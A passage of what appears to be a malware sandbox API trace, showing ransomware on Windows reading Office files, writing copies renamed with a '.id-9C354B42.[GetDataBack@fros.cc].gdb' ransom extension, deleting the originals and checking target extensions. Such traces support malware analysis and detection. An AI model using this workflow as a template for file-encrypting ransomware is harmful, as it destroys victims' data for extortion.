hFile=0x1cc, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x10676, lpOverlapped=0x0) returned 1 [0121.093] WriteFile (in: hFile=0x1f0, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x10680, lpOverlapped=0x0) returned 1 [0121.095] ReadFile (in: hFile=0x1cc, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0121.095] WriteFile (in: hFile=0x1f0, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xe6, lpOverlapped=0x0) returned 1 [0121.095] SetEndOfFile (hFile=0x1f0) returned 1 [0121.095] CloseHandle (hObject=0x1f0) returned 1 [0121.096] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0121.096] SetEndOfFile (hFile=0x1cc) returned 1 [0121.097] CloseHandle (hObject=0x1cc) returned 1 [0121.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.098] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 1 [0121.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0121.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0121.098] lstrlenW (lpString=".doc") returned 4 [0121.098] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0121.098] lstrlenW (lpString=".docx") returned 5 [0121.098] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0121.098] lstrlenW (lpString=".pdf") returned 4 [0121.098] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0121.098] lstrlenW (lpString=".xls") returned 4 [0121.098] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0121.098] lstrlenW (lpString=".xlsx") returned 5 [0121.098] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0121.098] lstrlenW (lpString=".ppt") returned 4 [0121.098] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0121.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0121.098] lstrlenW (lpString=".zip") returned 4 [0121.098] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0121.098] lstrlenW (lpString=".rar") returned 4 [0121.098] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0121.098] lstrlenW (lpString=".bz2") returned 4 [0121.098] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0121.098] lstrlenW (lpString=".7z") returned 3 [0121.098] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0121.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0121.099] lstrlenW (lpString=".dbf") returned 4 [0121.099] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0121.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0121.099] lstrlenW (lpString=".1cd") returned 4 [0121.099] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0121.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0121.099] lstrlenW (lpString=".jpg") returned 4 [0121.099] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0121.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0121.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0121.099] lstrlenW (lpString=".doc") returned 4 [0121.099] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0121.099] lstrlenW (lpString=".docx") returned 5 [0121.099] lstrcmpiW (lpString1=".docx", lpString2="P.CHM") returned -1 [0121.099] lstrlenW (lpString=".pdf") returned 4 [0121.099] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0121.099] lstrlenW (lpString=".xls") returned 4 [0121.099] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0121.099] lstrlenW (lpString=".xlsx") returned 5 [0121.099] lstrcmpiW (lpString1=".xlsx", lpString2="P.CHM") returned -1 [0121.099] lstrlenW (lpString=".ppt") returned 4 [0121.099] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0121.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0121.099] lstrlenW (lpString=".zip") returned 4 [0121.099] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0121.099] lstrlenW (lpString=".rar") returned 4 [0121.099] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0121.099] lstrlenW (lpString=".bz2") returned 4 [0121.099] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0121.099] lstrlenW (lpString=".7z") returned 3 [0121.099] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0121.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0121.099] lstrlenW (lpString=".dbf") returned 4 [0121.099] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0121.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0121.099] lstrlenW (lpString=".1cd") returned 4 [0121.099] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0121.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0121.099] lstrlenW (lpString=".jpg") returned 4 [0121.099] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0121.100] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.100] lstrlenW (lpString="Proof.XML") returned 9 [0121.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0121.372] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=1457) returned 1 [0121.372] CloseHandle (hObject=0x200) returned 1 [0121.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0121.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0121.377] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0121.377] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0121.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0121.377] GetLastError () returned 0x0 [0121.377] ReadFile (in: hFile=0x200, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x5b1, lpOverlapped=0x0) returned 1 [0121.384] WriteFile (in: hFile=0x208, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x5c0, lpOverlapped=0x0) returned 1 [0121.385] ReadFile (in: hFile=0x200, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0121.385] WriteFile (in: hFile=0x208, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xe6, lpOverlapped=0x0) returned 1 [0121.386] SetEndOfFile (hFile=0x208) returned 1 [0121.386] CloseHandle (hObject=0x208) returned 1 [0121.386] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0121.386] SetEndOfFile (hFile=0x200) returned 1 [0121.387] CloseHandle (hObject=0x200) returned 1 [0121.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.388] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1 [0121.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0121.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0121.388] lstrlenW (lpString=".doc") returned 4 [0121.388] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.388] lstrlenW (lpString=".docx") returned 5 [0121.388] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0121.388] lstrlenW (lpString=".pdf") returned 4 [0121.388] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.388] lstrlenW (lpString=".xls") returned 4 [0121.388] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.388] lstrlenW (lpString=".xlsx") returned 5 [0121.388] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0121.388] lstrlenW (lpString=".ppt") returned 4 [0121.388] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0121.388] lstrlenW (lpString=".zip") returned 4 [0121.388] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.388] lstrlenW (lpString=".rar") returned 4 [0121.388] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.388] lstrlenW (lpString=".bz2") returned 4 [0121.388] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.389] lstrlenW (lpString=".7z") returned 3 [0121.389] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0121.389] lstrlenW (lpString=".dbf") returned 4 [0121.389] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0121.389] lstrlenW (lpString=".1cd") returned 4 [0121.389] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0121.389] lstrlenW (lpString=".jpg") returned 4 [0121.389] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0121.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0121.389] lstrlenW (lpString=".doc") returned 4 [0121.389] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.389] lstrlenW (lpString=".docx") returned 5 [0121.389] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0121.389] lstrlenW (lpString=".pdf") returned 4 [0121.389] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.389] lstrlenW (lpString=".xls") returned 4 [0121.389] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.389] lstrlenW (lpString=".xlsx") returned 5 [0121.389] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0121.389] lstrlenW (lpString=".ppt") returned 4 [0121.389] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0121.390] lstrlenW (lpString=".zip") returned 4 [0121.390] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.390] lstrlenW (lpString=".rar") returned 4 [0121.390] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.390] lstrlenW (lpString=".bz2") returned 4 [0121.390] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.390] lstrlenW (lpString=".7z") returned 3 [0121.390] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0121.390] lstrlenW (lpString=".dbf") returned 4 [0121.390] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0121.390] lstrlenW (lpString=".1cd") returned 4 [0121.390] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0121.390] lstrlenW (lpString=".jpg") returned 4 [0121.390] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.390] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.390] lstrlenW (lpString="SETUP.XML") returned 9 [0121.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0121.639] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=6241) returned 1 [0121.639] CloseHandle (hObject=0x224) returned 1 [0121.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0121.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0121.640] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0121.640] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0121.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0121.958] GetLastError () returned 0x0 [0121.958] ReadFile (in: hFile=0x224, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x1861, lpOverlapped=0x0) returned 1 [0121.960] WriteFile (in: hFile=0x220, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0x1870, lpOverlapped=0x0) returned 1 [0121.961] ReadFile (in: hFile=0x224, lpBuffer=0x2b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x20bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesRead=0x20bfc24*=0x0, lpOverlapped=0x0) returned 1 [0121.961] WriteFile (in: hFile=0x220, lpBuffer=0x2b60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x20bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x2b60020*, lpNumberOfBytesWritten=0x20bf9ec*=0xe6, lpOverlapped=0x0) returned 1 [0121.961] SetEndOfFile (hFile=0x220) returned 1 [0121.962] CloseHandle (hObject=0x220) returned 1 [0121.962] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x20bfc18 | out: lpNewFilePointer=0x0) returned 1 [0121.962] SetEndOfFile (hFile=0x224) returned 1 [0121.963] CloseHandle (hObject=0x224) returned 1 [0121.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.963] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1 [0121.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0121.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0121.963] lstrlenW (lpString=".doc") returned 4 [0121.964] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.964] lstrlenW (lpString=".docx") returned 5 [0121.964] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0121.964] lstrlenW (lpString=".pdf") returned 4 [0121.964] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.964] lstrlenW (lpString=".xls") returned 4 [0121.964] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.964] lstrlenW (lpString=".xlsx") returned 5 [0121.964] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0121.964] lstrlenW (lpString=".ppt") returned 4 [0121.964] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0121.964] lstrlenW (lpString=".zip") returned 4 [0121.964] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.964] lstrlenW (lpString=".rar") returned 4 [0121.964] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.964] lstrlenW (lpString=".bz2") returned 4 [0121.964] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.964] lstrlenW (lpString=".7z") returned 3 [0121.964] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0121.964] lstrlenW (lpString=".dbf") returned 4 [0121.964] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0121.964] lstrlenW (lpString=".1cd") returned 4 [0121.964] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0121.964] lstrlenW (lpString=".jpg") returned 4 [0121.964] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0121.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0121.964] lstrlenW (lpString=".doc") returned 4 [0121.964] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.964] lstrlenW (lpString=".docx") returned 5 [0121.964] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0121.964] lstrlenW (lpString=".pdf") returned 4 [0121.964] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.964] lstrlenW (lpString=".xls") returned 4 [0121.964] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.964] lstrlenW (lpString=".xlsx") returned 5 [0121.964] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0121.964] lstrlenW (lpString=".ppt") returned 4 [0121.964] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0121.965] lstrlenW (lpString=".zip") returned 4 [0121.965] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.965] lstrlenW (lpString=".rar") returned 4 [0121.965] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.965] lstrlenW (lpString=".bz2") returned 4 [0121.965] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.965] lstrlenW (lpString=".7z") returned 3 [0121.965] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0121.965] lstrlenW (lpString=".dbf") returned 4 [0121.965] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0121.965] lstrlenW (lpString=".1cd") returned 4 [0121.965] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0121.965] lstrlenW (lpString=".jpg") returned 4 [0121.965] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.965] lstrcmpiW (lpString1=".gif", lpString2=".gdb") returned 1 [0121.965] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0121.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0122.173] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x20bfc6c | out: lpFileSize=0x20bfc6c*=4587) returned 1 [0122.174] CloseHandle (hObject=0x208) returned 1 [0122.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0122.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0122.174] lstrlenW (lpString="C:\\Program Files\\Common 